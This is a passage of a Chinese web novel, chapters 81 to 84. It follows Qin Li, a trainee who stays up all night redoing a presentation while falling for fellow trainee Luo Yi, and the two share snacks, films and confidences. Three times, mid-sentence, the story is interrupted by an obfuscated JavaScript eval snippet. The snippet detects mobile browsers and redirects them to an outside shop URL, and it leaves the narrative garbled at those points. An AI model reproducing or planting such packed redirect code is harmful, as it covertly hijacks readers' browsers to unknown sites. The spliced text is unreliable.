自己这是什么,躲在暗处,怀着阴暗情绪揣测的小人么,呵呵。 这天下午的课,天气燥热,教室空调又不起作用,所有人都心浮气躁。 人多又来得晚了点,洛依那排刚好差个座位,实际独来独往的秦离自然坐到了后面那排去。她趴在桌子上,看着洛依和谢依霖她们说笑,突然觉得挺没劲的。 她每天这么眼巴巴地凑过来,又有什么意思呢。 最近这段时间,她的情绪无时无刻不被洛依牵扯着,对方一点微小的反应都会引起她心中的大起大落。难受的时候就像现在这般,除了趴在桌子上呼吸,什么都干不了。 有什么意思呢。 真的太难受了,她在白纸上乱涂写着诗。 “……然而还是喜欢, 克制不住的喜欢。”① 81. Chapter 81 这节课下课后,秦离让副班长帮忙打掩护,一个人跑了,在校园里游荡。 今天天气不太好,阴沉沉的,不多时就下起浠沥沥的小雨。秦离没带伞,任由身上被打湿,有点冷,又很畅快。 走过一汪池塘,秦离突然听见有人在叫自己。 “秦离?是秦离吗?” 秦离忙调整表情,转过身,看见是上党史教育课的左老师。她嘴角勾起微笑,瞬间进入社交状态,迎过去喊道:“左老师。” 左老师打了把遮阳花伞,勉强将两人罩在伞面下,问道:“这个点,没有上课吗?而且这么大的雨,怎么不打伞啊?” 秦离不想被人发现异样,很快想了个理由:“刚刚才从宣传中心林老师办公室出来。最近有篇稿子急着上,我和林老师一起推完稿子,出来才发现在下雨,也懒得回去拿伞了。” “这样啊。”左老师没有深究,“你看你身上都湿透了,先去我办公室擦下水喝点热的,拿把伞再走吧,别感冒了。” 秦离现在心中疲累,只想找个角落藏起来,像蚕般用丝把自己裹起来,不被任何人看见。但左老师盛情难却,她也不好拒绝,脸上维持着笑容,应下了。 在左老师办公室折腾了番,走之前,左老师提醒:“大后天就该你们组讲党史专题课了,准备得怎么样了?我可是很期待你的表现的。” 秦离短暂愣了下,没被她看出来,很快应道:“已经做好了,这两天再润润稿子,优化下PPT就行。” “那太好了。” 实际秦离最近太神不守舍,早把这件事忘了,根本不知道目前小组进度到哪里了。晚饭后趁着所有人有空,她将小组成员都召在一起,商量后天做小组报告的事。 小组一共七个人,最开始安排的是两个人搜集资料、两个人做PPT、两个人写演讲稿,秦离负责最后汇总把关以及小组展示。 情况一对,这边说资料一周多前就已经搜集完了,那边说PPT几天前也做完了,连负责演讲稿的人都说稿子前两天就发给秦离了。秦离这才想起确实如此,她们负责的工作都做完了,也发在了小组群里,她记得当时似乎是看见了,但正被洛依相关的事搞得心烦意乱,没有心思看,本来打算过两天再看了润下色,后来又忘了。 说起来,是她的问题。 趁着所有人都在,秦离过了遍PPT和演讲稿,发现内容匮乏,有许多重复和错误,大概率大家都是匆忙完成的。也是,就一个培训课的报告,那么认真做什么,水水就过了。 “班长,可以了吧?没什么事的话,我就先走了,休息时间也没多少,我还要给家里小孩打电话。” “我也……” 大家的心思都不在这里。 这PPT和稿子不能用,但秦离作为负责人没有及时跟进进度,让大家在前期就返工完善,这时候说这些都晚了,还会惹人不快,引起矛盾。 于是最后,秦离只能带着鼓励语气道:“大家都辛苦了,今天就是一起最后再对下情况,内容方面我这边可能会做下最终微调,到时候就直接用了。” “好的没问题。” “我们都没意见,班长你随便改,最后都是你去讲嘛,你把握。” “班长你也辛苦啦。” “那我们走了。” 一群人很快走了,宿舍三楼的小会议室变得空空荡荡,秦离脸上的笑容一下子也没了。 哎,算了,自己全部重头来做吧。 屋漏偏逢连夜雨,下午的乌鸦嘴也灵验了,宣传中心的林老师安排了篇加急的稿子,秦离今晚下课后的时间全部耗在这上面,结束只想回宿舍躺平。 这半天下来,秦离没时间去找洛依,对方也没有发消息过来。秦离看着空荡荡的聊天框,自嘲地笑了笑。 算了,就这样吧。 接下来两天,秦离没去找洛依她们一起,也没去第一排,而是在教室另外一边的后排坐着。 能看见洛依的时候,即使她刻意忽视,心情也无法平静下来,更没法做正事,只能挂着耳机隔绝全世界,趴在那里,在白纸上乱画着,像是苟延残喘。 她也注意到洛依投过来的眼神,但不想回应,不想在这种无端的拉扯里痛苦。 中午休息的时候,秦离收到了洛依的消息:【今天怎么没过来?】 【这两天忙着做汇报材料,就不过来了。】 【……好,正事重要,那你先忙。】 【恩,回聊。】 秦离没说结束后是否还继续一起,洛依也没问,两人的来往就这样突然中断了。 晚上点名结束后,秦离抱着电脑去了三楼会议室。她不想被人打扰,没开灯,黑暗里只有电脑屏幕幽幽亮着。 干到差不多三点,眼皮已经开始打架了,才刚把资料搜集整理分类完,这个进度太慢了。 秦离有点子完美主义情结在,即使只是一次培训课的报告,也想做好点。况且左老师也说期待了,总不能太糊弄吧。 但太……困……了…… 算了……明天再继续吧…… 明天最后一天,白天逃课一整天加晚上干个通宵,解决,她这么决定了。 第二天,偏偏突然有什么上级领导视察,每节课都盯紧了人,还要求什么按班级就坐,所有人坚决不能玩手机,要积极和课堂老师互动,展现各单位新入职培训人员风采。培训负责人让大家务必重视,这是大家为自己单位的形象负责。 狗屁形象,狗屁风采,秦离只想骂爹。 所有人心知肚明,这些培训除了大量的XX教育外,没有多大意义,不过是某种必备流程,大家你好我好过了就是了,非要搞这些形式主义。 秦离认真对待是她自己的习惯性态度,单纯对得起自己内心而已。她也不认为真的能学到什么,而且被人这么逼着干就很恶心了。 她想着自己还没开始写的汇报展示,很急。 这场所有人不得不配合的秀直到晚上十点才结束,秦离又急又气,气到喉咙都哽住发痛。 晚点名结束后,她第一个冲上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370211|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼,抱起电脑就往小会议室走。楼梯间内,她正好遇见与谢依霖、田薇一起说笑着上楼的洛依。 目光交错的瞬间,两人都愣住,秦离的脸更黑了。她心里梗着气,连心脏也难受着。 秦离抱紧电脑,什么也不想说,快步下楼,与洛依擦肩而过的瞬间,似乎听到了她的声音,又什么都没听清。 她没有心思想这些了。 进入小会议室,关掉灯,锁上门,这片空间就属于自己了。 她打开电脑,深吸口气,开始干活。 PPT才做了没几页,突然有电话打进来。秦离眉头紧皱,拿起电话一看,是老妈。 她重重呼出口气,还是接了电话:“老妈,撒子事?” “勺勺,下课没,还是准备要睡觉了?” “下课了,但事情还没做完,还在准备明天的汇报材料。” “……哦,这样,那你忙完还是早点休息,不要太晚睡哈。” 秦离心里有股火,语气也很冲:“又不是我想睡就能睡,我东西不搞完没法睡得,今晚估计要通宵了,现在还在忙。” 听她语气不耐烦,妈妈声音也小了些:“那你先忙……” “嗯……嗯……” 秦离手上动作没停,嘴里应付着。到最后,妈妈只多嘱咐了几句,本来要说的事没说,秦离也没问。 电话不到一分钟就结束了,秦离放下手机,又写了几分钟,想到刚才和妈妈的通话,心中又有些自责。 妈妈跟这些乱七八糟的事又没关系,自己说话态度干嘛这么差。 所有道理,脑子里都明白,但那股暴躁情绪却控制不住,夹杂着后悔和自厌,将自我拖入熟悉的泥潭深处。 我真是……太差劲了…… 亲情是,爱情是,生活是,工作是,什么都是。 一无是处的我,守着过去那一点点的成绩洋洋自得,什么关系都处理得一塌糊涂,活了二十七岁了,一事无成。 没意思,我在想做什么,做什么,又都有什么意义…… 秦离这么想着,还不敢停下敲键盘的手,不然明天上课前做不完汇报材料。 她感受着更多的悲哀在心里蔓延,明知道自己深陷泥潭却无能为力,只能看着屏幕,眼泪止不住地流。 她不敢哭出声,怕被人听见,只能忍着,感受着喉咙越来越痛,张着嘴,无声哀嚎。 桌上,手机屏幕亮了好几次,有消息不断进来。 秦离本不想理会,但泪眼婆娑间,看见来信人是洛依。 洛依…… 她的脑子被切成了两半。一半告诉自己别理会了,不是才决定不要陷入这种拉扯的痛苦里吗。另一半告诉自己还是先看看,或许有什么急事呢,而且不回消息也不礼貌。 呵,礼貌,多好的借口。 秦离心里都明白,最终还是忍不住点开消息。 她知道的,如果洛依主动,她总是无法拒绝她。 洛依的最新一条消息:【你今天也没在宿舍吗?】 82. Chapter 82 再往前翻有好几条消息,洛依问她睡了吗,叫她到老地方一起听歌。秦离没有回,隔了十来分钟,洛依又问她发生什么事了,是不是心情不好,还分享了些什么搞笑视频。这些秦离也没看,最后,洛依或许是去宿舍找她了,才发了这么句话。 【你今天也没在宿舍吗?】 是昨天,也来找过我了吗? 秦离一边唾弃自己,一边又忍不住欢喜,感觉干涸的心脏上长出了一朵小花。只要对方多一点回应,她就无法做到冷眼相待。 她抹去脸上所有的眼泪,给洛依回消息:【今天不行哦,明天要做党史教育课汇报了,我还在改PPT和稿子,下次再一起听歌吧。】 眼角的泪痕还没有干透,她已经在用轻松的语气回忆洛依了,甚至懊悔为什么没有早点看消息。 她不想,让洛依有一点等待的难过。 【好呜。[奶茶鼠叹气.gif]】 秦离摸着屏幕上的奶茶鼠,终于露出这两天唯一一个纯粹的笑容了。 算了,别想这么多了,想了也没用,还是先把报告做完,明天给老妈回电话问是什么事,其它的,之后再说吧。 她唯一肯定的是,自己完全不想跟洛依断开联系。那种心情她很确定,就是喜欢了。 既然如此,珍惜剩下半个多月的培训时间,自己也要更加主动出击才行。不管结局如何,不留遗憾,不要让自己后悔。 好了! 秦离笑着拍拍脸,拍走所有的泄气劲。 一样样的来,现在继续开工! 这时,屏幕又亮了,还是洛依的消息:【你这会是一个人在写稿子吗?】 秦离的心跳快了一拍,想到某种可能性,慌忙回着:【嗯。】 【在三楼小会议室。】 你要…… 最后一句话没发出去,洛依已经回复了:【那我来找你吧,可以陪你一起。】 果然…… 秦离心中泛甜。今晚的惊喜已经足够多,这么看上去,人生也没有那么糟糕。不过她刚哭过的模样太狼狈了,这会也太晚了,她不想洛依太辛苦。 【没事,我马上就写完了,你病才刚好,早点休息吧。】 洛依难得坚持:【没事,反正我也睡不着。】 【奶茶鼠走起.gif】 秦离笑得傻傻的:【嗯嗯。】 放下手机,秦离连忙开灯,去洗手间洗去脸上的泪痕,又涂了点口红——还好随身的包里有。回来坐下没多久,洛依就来了。她穿了件绿色的冲锋衣,将自己裹得严严实实,提了袋吃的,边进来边感慨:哇,晚上还怪冷的。” “嗯,确实。” 秦离紧张了下。明明只有两天没和洛依呆一起好好说话,却恍如隔世。 “灯怎么开这么亮。”洛依说着,关掉大部分,只留下秦离顶上那盏。她走过去,拉开椅子坐在她旁边。 周围都是阴影,只有一盏灯,将两人的身影笼罩在一起,就像全世界只有她们两个人一样。 秦离蜷了蜷手指,不敢直视洛依的脸,目不斜视道:“你怎么这么晚还不睡?” 已经过十二点了。 洛依声音听起来挺精神的:“前些天睡得太多啦。而且晚上看了点游戏视频,正亢奋着。” “什么游戏?” “呜,模拟人生,等你忙完我慢慢跟你说。” “好哦。”秦离应着,但根本无心码字。 “你……”洛依突然凑过来,声音困惑。 秦离更紧张了,心想是不是被她看出来自己哭了?糟糕,她的追求攻势还没开始,不想表现出自己这么狼狈的样子,太逊了。 洛依看的是她的电脑屏幕,上面孤零零挂着几页的PPT。 “你这进度,还跟我说马上要做完了。哼,骗人哦秦同学。” 两人离得很近,近得秦离能看见洛依耳朵上的小绒毛,闻见她身上那股熟悉的清甜味。她手指又动了动,抑制住想再靠近的冲动,声音放轻:“我想你多休息休息。” 洛依眼眸低垂,睫毛微微颤动着,声音很很轻:“我也想陪着你嘛。” 好乖。 秦离的心都快要融化了。 房间里的气氛变得缱绻。两人好半天没说话,视线交错的瞬间又很快移开。 最后,秦离不自在地咳了声,抬手挡住嘴角的笑容道:“那我先干活了。” “好呜。对了,这个给你。” 洛依递了瓶咖啡过来,秦离收下。 房间里很快安静下来。 洛依戴着耳机,缩在一旁看视频。秦离一开始还有点走神,余光总忍不住往旁边瞥,后来慢慢也专注在材料上,连洛依偷看了她几眼都不知道。 心情好了,连做事效率都变高了,秦离手下噼里啪啦一顿狂敲,到最后一个回车结束,看时间两点钟,伸了个长长的懒腰。 “唔——” 洛依已经偷偷打了好几个哈欠了,但忍住没出声,见状才问道:“搞定了?” “PPT已经搞定了,汇报内容基本都在里面。我休息下,快速把演讲稿写出来就行。这次是真的很快了。” 说完,秦离才注意到洛依睡意明显。 “困了?要不你先回去睡?” 洛依泛着困,说话也变得黏黏糊糊,像撒娇一样:“唔……你不是说快要结束了嘛,是困,但也饿了……你先吃点这个,快继续写,我去泡个自热火锅,等好了我们一起吃。” “好哦。” 秦离接过巧克力和小蛋糕,看她迷糊得可爱,声音也放得很柔,哄人似的。 洛依熟练地加入各种自选配菜,赛得满满的,之前提到的卤牛肉也是必须有的。 自热火锅咕噜咕噜响着,秦离键盘敲得更快了。PPT做完,所有内容基本烂熟于心,就算是脱稿讲问题也不大,演讲稿不过是个备选。 她这会心已经飘走了,快速写完稿子,结束时自热火锅也差不多好了。 洛依按着盖子,这会倒精神点了,见秦离停止敲字了,眼巴巴望过来,眼神期待:“你做完了吗?” 秦离保存文档,扣上电脑盖,笑道:“做完了,我们开吃吧。” “好!0~0” 掀开盖子,鲜辣的香味传出来,勾得人食欲大开。两人话不多说,拎起筷子直接开夹,吃得火热。 吃饱喝足,两人眉目间尽是惬意。洛依表情有些小得意:“我选的东西好吃吧。” 秦离喜欢她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370212|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表现得这样张扬自得,笑着夸她:“确实很好吃的,你真的很会选啊,刚才的巧克力和小蛋糕也很好吃,真的很厉害。” 秦离也很喜欢美食,但她懒懒的,恰好吃到什么好吃的就一直吃。她不会像洛依这样花这么时间去筛选,但不妨碍她觉得洛依这样很可爱,也很会生活。 听见秦离直白的夸奖,洛依反而不好意思了,低头推了推眼镜:“也没有你说的那么夸张啦。” “你就是很好,你看这里大家都很喜欢你,也不缺我一个人夸你哦。” 秦离用着轻松的语气说出心里那点微妙的小情绪。 洛依抬头看了她一眼,眼神依旧是那么无辜,让秦离又爱,又想狠狠捏她的脸解气。 洛依不知道她心中所想,但她对别人的情感感知还是很敏锐,缩了缩身子,抿着嘴道:“不是这样。大家是很照顾我啦,不过也是我刻意表现得很主动。” 主动……吗? 秦离觉得洛依应该是偏内向被动的,大概就是在火锅店里不会大声喊服务员来、迷路了会反复研究导航而不是问路的那种类型,也或许是她觉得她不需要主动,由着其她人来就好。 像小猫样,很乖但很敏感,感觉一不小心就会应激被吓跑,但因为太可爱了,所有人都想去靠近。 秦离清楚地知道自己这是爱的滤镜,但她不想抗拒。 洛依还在讲着:“其实我前两年过得很糟糕,精神状态一直不太好,看了很久的医生,也吃了些药。” 这点秦离知道,洛依之前也说过,大概也很多种原因,但导火索的话,还是和前女友的分分合合,双方错开阶段的爱意和付出,最终总会走向一地鸡毛。说起这个,秦离对洛依只有心疼,连带着埋怨那个未知的前女友太过冷酷。 “这次确定工作,我就是想改变下自己,重新开始,所以才会强迫自己主动去接触很多人,说很多话。要是完全顺从本心的话,我什么都不想干,就想一个人看看书,打打游戏,逗逗猫。” 嗯,这点秦离也知道,洛依有只暹罗猫,脸黑得煤炭样,完全看不见五官,是她见过最黑的暹罗。 小猫养小猫,加倍可爱。 “……而且,其实我有点害怕,才想和很多人熟悉起来,有大家陪着,才不会太孤单。我因为身体不好嘛,一直都离家比较近,中学和大学都是在本地读的,这还是第一次,到这么远的地方去工作,培训也是。” “培训前我才刚到单位报到,到的时候是晚上,又在下雨,春城可冷了。结果单位接应的人没安排好,我在亭子里坐了一个小时,冻死了。最后好不容易确定宿舍,房子也是破破烂烂,下暴雨后还漏水了,跟水帘洞似的,半夜我们从床上爬起来,又找水桶又拖地。那破地方真的太烂了……” “不过院子里养了兔子、走地鸡和孔雀,生态还怪丰富的。” 或许是深夜,洛依的倾诉欲前所未有的高。秦离听着,真切地担心她,绞尽脑汁安慰人,想着可以解决的办法。 她终于忍不住凑过去,摸了摸洛依的头。 洛依的头发很细很柔软,就像她看着这般乖巧。 氛围很好,秦离的真心话也忍不住冒了出来:“那我呢,和我来往也是强迫主动接触的一部分吗?” 83. Chapter 83 洛依回应得很快:“当然不是。” “那就好哦,其她人不说,我不想你面对我时还太辛苦。” 秦离当然知道她不会说出否定的答案。不管是不是她真实所想,反正她说了,自己就信了。 “我很喜欢和你接触的,很开心。” 洛依的直球来得猝不及防,搞得秦离心脏怦怦直跳,真想下一秒就表白。仅存的理智拉住了她,浓黑的夜晚让她吐出了更多真心话:“那谢依霖和田薇她们呢?” “嗯?” “我看你和她们也玩得很好呀。” 这句话说出来,秦离自己都唾弃自己,这是什么酸涩的语气,太丑陋了,里面的嫉妒表现得太明显。但话已经说出来了,她望向洛依,又有些期待她的回答。 洛依愣了下,垂下眼眸,不太习惯秦离如此直接的目光。 “我跟她们确实一起玩得比较多。我们仨年龄都差不多嘛,性格也差不多,所以经常凑一起各种吐槽,胡言乱语什么的。其实来培训前,我也没想到会遇到这方面投缘的朋友,不然光我一个人太难挨了。” “到现在这个阶段了,好多朋友都有自己的生活要忙,单位这边又没什么亲近的人。” 秦离还想多追问些,又不想暴露太多自己的心思——虽然她觉得好像已经表现得很明显了。再看洛依可怜巴巴的样子,她觉得再逮着这个说显得自己太小肚鸡肠了,而且她们还什么关系都不是呢。 她内心叹了口气,不在这个话题上再过多纠缠。 看时间,已经三点多了。吃完东西,洛依又开始打哈欠,这下是一点都忍不住了。 秦离也有些许困意,提议道:“很晚了,明早还要上课呢,回去睡觉了吧。” “……好哦……” 洛依反应已经慢半拍了,说话声音也拖着,很可爱。 秦离把垃圾全部收好,领着眼睛都睁不开,迷糊着的洛依往外走。怕她撞到东西,秦离动作快于大脑,抓住了她的手腕。洛依可能是真的太困了,没什么反应,任由秦离这么牵着。 两人一前一后走着。 黑暗里,秦离感觉自己的心脏愈跳愈烈。她将电脑抵在心口,想要挡住跳动声。 再不情愿,短短一段路也很快走完了。 在洛依宿舍门口,秦离不情不愿松开手,很小声与她道晚安。洛依小鸡啄米式点头,乖巧回应着:“晚安。”说完转身就要进去。 秦离突然很舍不得,患得患失。 这样的夜晚,这样的洛依,像是突然冒出来、独属于她的限定版,等到天一亮,就会恢复平时的模样,被众人围绕着,只能分出少数的目光和时间给自己。 她不想这样。 她想拥有更多今晚这样的洛依,让她只能看着自己。 “洛依。” 秦离叫住她。 “……嗯?” 门打开,洛依一只脚已经跨进去了,慢半拍才回头。 “下次,我们一起看电影吧,就我们两个人。” “……好啊。” 洛依眼睛弯了弯,阴影柔和了她的轮廓,她的每一寸皮肤都是如此美好。 秦离也笑了。 深夜,秦离躺在床上,望着漆黑的天花板,不想睡觉。耳机里放着《恋爱的犀牛》,每句台词她都烂熟于心。 “我看见她闪亮的眼睛 看见她的双翼 看见那辆破旧的汽车 喷射出的熊熊火焰在公路上燃烧 它穿过田野横跨城市 毁灭桥梁烧干河流 疯狂地向爱情奔驰”① “爱情……” 秦离抱住枕头,在床上翻来覆去,将两人的聊天记录、洛依相关的照片、能翻到的所有她公开的账号信息全部看了个。翻到后面看无可看了,她又打开购物软件,开始选口琴和尤克里里。 她想给她弹琴唱歌,在阳台、在湖边、在深夜的房间,在哪里都有好。 好想她,现在就好想她,好想马上就天亮。 因为有了她的存在,太阳升起的每一天都变得如此让人期待。 最后,秦离一夜没睡。 第二天的报告做得很成功,秦离讲得也很有趣,台下原本昏睡摸鱼玩手机的人里,都有不少抬起头听一听。 她今天挽了个低矮的丸子头,看着有些温婉,视线扫过整个教室,很快看见了洛依。 人群之中,洛依正在和其她人说话,注意到她的视线,很快转头望向她。两人的目光交织,停留了几秒后,都笑了。 此刻,周围人好像都离得很远,世界变得很安静。 只有彼此。 这之后,秦离没有像之前那样试图去融入洛依的圈子。她坐在了偶然坐过一次的教室左侧后排,写诗写歌写文,准备着想要给洛依的许多惊喜。 第一天的课间,洛依去问她怎么不过来坐了,秦离说她跟其她人还是不太熟,也不习惯跟那么多人一起,还是一个人行动比较自由。 “好吧……” 秦离反问道:“你要和我一起坐这边吗,我是说有时候,毕竟你们那边人确实太多了。” 洛依犹疑着,看了看大部队那边,最后还是摇摇头:“算啦,我平时都和大家一起的,突然这么跑开也不好。” 说完,她抿着嘴,看上去不是很高兴的样子。 秦离没来得及说什么,上课铃就响了。她摇了摇手机,提醒洛依:“记得看消息哦。” 洛依有些茫然,但不得不先回到座位上。 秦离的位置更高些。她的视线穿过人群落在洛依身上,看她低着头看手机,忙发了条消息过去:【有没有想听的歌?】 【奶茶鼠困惑.gif】 看不见她的脸,但秦离能想到她的同款困惑神情,食指在奶茶鼠鼓鼓的脸颊上戳了戳,就像戳在人身上一样,仿佛感受到软软滑滑的手感。 【你先说,有没有想听的歌?说歌手也可以。】 【唔,张悬吧,最近在听她的歌,还挺喜欢的。】 【好的,那就张悬吧。】 【什么啊,神神秘秘的。奶茶鼠好奇.gif】 【一点小惊喜,到时候你就知道啦。】 洛依转过身,隐约盯了她一眼,又转回去。秦离收到了她的目光,笑得更灿烂了。 她手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370213|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上没停,继续跟洛依发着消息。一整节课,两人信息没断过。秦离一直看着洛依那边,即使她在和其她人讲话,也会中途停下来按手机。 秦离知道,她是发给自己的。 真好。 下课后,洛依直接回宿舍昏睡了。昨晚熬的这个夜可谓让她元气大伤,反倒是一夜没睡的秦离看着依旧神采奕奕,特别能扛。 回宿舍后她给妈妈打了半个小时的电话,挂断后长舒口气。 总算是又解决件挂在心头的事。 这几天,秦离和洛依消息发得尤为得多,从早到晚。 周六那天,秦离问她:“晚上要一起看电影吗,还是在上次的会议室。” 洛依应她:“好啊。” 晚上九点,两人碰头一起往楼下走,洛依又带了些小零食,依旧是她最爱的饼干糖果之类的。楼梯间内,两人遇见了些认识的人,秦离欢喜又紧张,希望大家都能看见她和洛依走在一起。 一切都好,可惜的是,两人到了会议室才发现,今天里面有人了,还是熟人。 一群人围着长桌坐着,桌上摆着蛋糕,正在庆祝生日,很热闹。坐正中间的正是罗娜,给她庆生的大多是三班的人,跟她关系更好,见洛依来也都跟她打招呼。 罗娜也有些诧异,但很快大声喊她们过去:“刚好,快来吃蛋糕,才刚切好呢。” 要是过去,按照罗娜的性格,两人肯定跑不掉了,更不用说里面这么多人都认识洛依。 秦离叹了口气,知道今天的“约会”八成泡汤了。 “好。”她应了声,正要认命过去,突然接到洛依递过来的塑料袋。 “你先过去坐吧,我去端了蛋糕就过来。” 秦离有点懵,但还是乖乖去那天的座位先坐着。那个位置在房间靠后的角落里,离前排庆生的人群比较远。 秦离放下东西,靠墙坐着,电脑挡去了她的大半张脸。 她从电脑和白墙的空隙里看出去,看着洛依跟好多人说话,最后似乎跟罗娜说了很久,才端着两块蛋糕回来。罗娜朝她们挥挥手,表情有些微妙,随后低头跟众人继续说笑着。 “怎么了,我们不过去吗?” 秦离有些茫然,不知道发生了什么。 洛依坐下,将其中一块带草莓的递给她:“不用,我跟她们说了我俩有安排,要看电影,不和她们一起了。” 意外之喜,心花怒放。 秦离努力压抑住嘴角的笑意,还要“谦让”几句:“但那边不是很多你认识的人吗,而且还是罗娜的生日。” 洛依刚挖了一勺蛋糕,闻言转头看着她,语气很平静:“但我们不是约好一起看电影了吗?” 心上的花开得更多了,挤满整个心脏,似乎有浓烈的香味让秦离整个人晕头转向。 “对……” 洛依眨眨眼:“而且除了跟班长关系还行,我跟其她人其实都不太熟啦。” 秦离已经听不进她后面的话了,满脑子都是:她选择了我。 她,选择了我。 洛依低头继续吃蛋糕,模样乖巧。 两人自成结界,隔离了外界的一切声音和视线。 84. Chapter 84 秦离看着身旁的洛依,心中满是柔情。 洛依吃东西比较慢,很认真很享受。秦离一直望着,挪不开眼。洛依抿着叉子,不好意思地侧开脸,小声道:“这蛋糕味道还可以,你吃呀。” 秦离看到她脸上有道奶油,不知道什么时候沾上去的。 “沾到脸上了。” 秦离说着,脑子反应一慢,手已经过去了,指腹轻轻擦去那点奶油。 动作结束,秦离才反应过来自己太冒失了。她挪开视线,手放下,手指不自觉地摩挲着,脑子里只有一个想法——真的像块小布丁样。 洛依没动,愣了几秒后,低头继续吃蛋糕,只是发间的耳朵有点红。 房间的另一头闹腾得很,一片欢声笑语。 这边,两人安静地吃东西,又时不时看对方一眼,手臂挨着手臂,离得很近。空气缓缓流动着、缠绕着,跟那边像是两个世界。 秦离电脑里没怎么存资源,只有《指匠情挑》、《阿黛尔的生活》、《面子》和《卡罗尔》,都是拉拉片,此外还有两部商业爆米花片,不太适合这会的气氛。 “你想看什么?” “我都可以。” 洛依没什么意见,秦离最后选了《卡罗尔》。这部片子还挺火的,大魔王和小白兔。她下载后还没看,这次刚好了。 电影和大部分拉拉片一样,节奏缓慢而文艺,平心而论,拍得挺好。但秦离的心思不在上面,目光总忍不住往旁边飘,身体也微微朝右边倾着。 “怎么样,电影还可以吗?如果不喜欢,我们也可以换一部。” 秦离一直在观察洛依的神情。她是觉得挺不错的,但担心对方不喜欢。 “就这部,挺好的。”洛依似乎也朝她这边靠了靠,“我之前看过,但再看遍也不错。” 两人的话题敞开,说到看过些什么、喜欢什么。电影演到哪里,慢慢没人关注了。 洛依很喜欢给秦离讲自己过去的事,秦离也想听。 因为生病留级的原因,读书时洛依往往比班上同学要大一点,但她反而是被照顾的那方,大家都很爱护她。她喜欢读书读诗,也做了好多摘抄,就是这会,随身包里都有个小本子,是这次带过来的。 她将本子拿出来给秦离看,上面已经写了一大半了,现代诗巨多。她的笔迹很好看,偏行书,带点凌冽的笔锋,看得出来有练过。 秦离想到自己圆圆的小学生字体,还有也想分享些书目又一下子什么都冒不出来的脑子,有点自惭形愧。 自己那点存货还是当年考研时囤下了,过了这么六七年也忘得七七八八了。这些年,她忙于工作,休息的时候除了看网络小说就是刷视频,不知不觉,好像已经成为过去嫌弃的无聊庸俗的社会人了。 哎…… 洛依说喜欢的东西时,眼睛亮亮的,像闪着星星。 秦离很喜欢她这时的模样,每句话都好好应着,默默将她提到过的人名和书名都记下来,打算回头全部看一遍。 洛依说到诗了,翻开本子念许多句子给秦离听。 “草原尽头我两手空空 悲痛时握不住一颗泪滴 …… 今夜我只有美丽的戈壁空空 姐姐,今夜我不关心人类,我只想你”① 秦离最喜欢这首,或许是为了洛依念出的“姐姐”两个字。 洛依对她什么称呼都有,秦离、秦同学、班长……她最喜欢的还是“姐姐”。洛依这么喊时,声音很乖,眼神清澈,充满了依赖,看向你时,会让你觉得全世界她最爱你。 秦离沉溺在这样的眼神里,无法自拔。 一声“姐姐”,她便想将所有能给的东西都给她,只要她能开心,能笑着。 不知不觉,电影已经放完了。两人其实注意力都不在电影上,秦离随便又点了部,是《阿黛尔的生活》。 刚才的话题继续。 “这首说的是德令哈吗?”秦离没听过这个地方。 “嗯,我一直想去来着,但是太远了。那里自然景色是最美的,诗人故居反而只是其中最普通的一处景点。” 秦离搜了搜,德令哈在西北,离两人都还有些距离,从南城过去有直达的绿皮车,要坐二十多个小时。 “那我们之后一起去吧,我也想去看看。” 秦离脱口而出,恨不得马上将这趟行程确定下来。 “可以考虑。”洛依算是应下了。 “那等之后的年假?平时节假日人太多了,我们可以找个淡季,把年假都放在那个时候,在那边碰头。不过西北那边要去的话,只有5月到9月的时间吧,过了国庆就冷下来,也没什么草了。” 秦离说了好多,兴致勃勃,已经开始期待了。 相比之下,洛依要冷静许多。她只道:“先暂定吧,还得等疫情过去。现在这个情况,到处跑太危险。” “是哦。”秦离蔫了。 被关在这里太久,除了每天必带的口罩,她都快忘记现在还是疫情危险时期。而且单位那边似乎对人员行踪也有严格把控,异地跑动还得报备来着,要是变个黄码红码、次密密接什么的,轨迹全部曝光,挨个批评通报就不划算了。 哎…… 看她情绪低落,洛依又提议:“虽然短期去不了德令哈,但等培训结束那个周末,我们可以去看看商城的博物馆。” “好呀!”秦离一下子又精神了,随即不放心地再确认,“就我们两个人还是?” “就我们两个吧。田薇她们都说培训一结束就要马上赶回去。谢依霖更惨,培训还没结束呢,单位已经连环夺命call,喊她回去干活了,简直了。” 原来也问过其她人啊…… 秦离酸酸想着。 她不乐意听洛依说起谢依霖和田薇,又没有立场提出来,只有憋在心里。不过好在结果是好的,等培训结束,她们就能一起出去玩了。 秦离一时不知道是期待培训早点结束,还是时间再长点好。 两人一直聊个不停,聊到罗娜她们都玩完走了,电影也到了后半段。 后半段 